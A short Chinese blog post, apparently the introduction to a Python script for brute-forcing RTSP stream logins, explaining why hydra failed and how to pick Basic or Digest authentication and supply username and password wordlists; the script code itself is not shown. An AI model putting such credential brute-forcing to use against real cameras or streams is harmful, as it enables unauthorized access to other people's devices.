python3爆力破解rtsp脚本

时间：06-06来源：作者：点击数：63

一、说明

hydra是说已实现了rtsp的爆力破解，但是使用时发现字典中明明已包含正确的用户名密码hydra却还没检测出来；

拦截数据包查看，感觉hydra只是尝试去匿名访问，并没有发送用户名密码去验证，所以自己写了个脚本。

二、脚本代码

rtsp有Basic和Digest两种验证方式，这里默认使用‘Basic’，如果想用‘Digest’方式将代码中的config_dict['brute_force_method']修改为‘Digest’

注意得自己在脚本的同目录下，放好“username.txt”（一行为一个用户名的形式）和"password.txt"（一行为一个密码的形式）两个字典文件
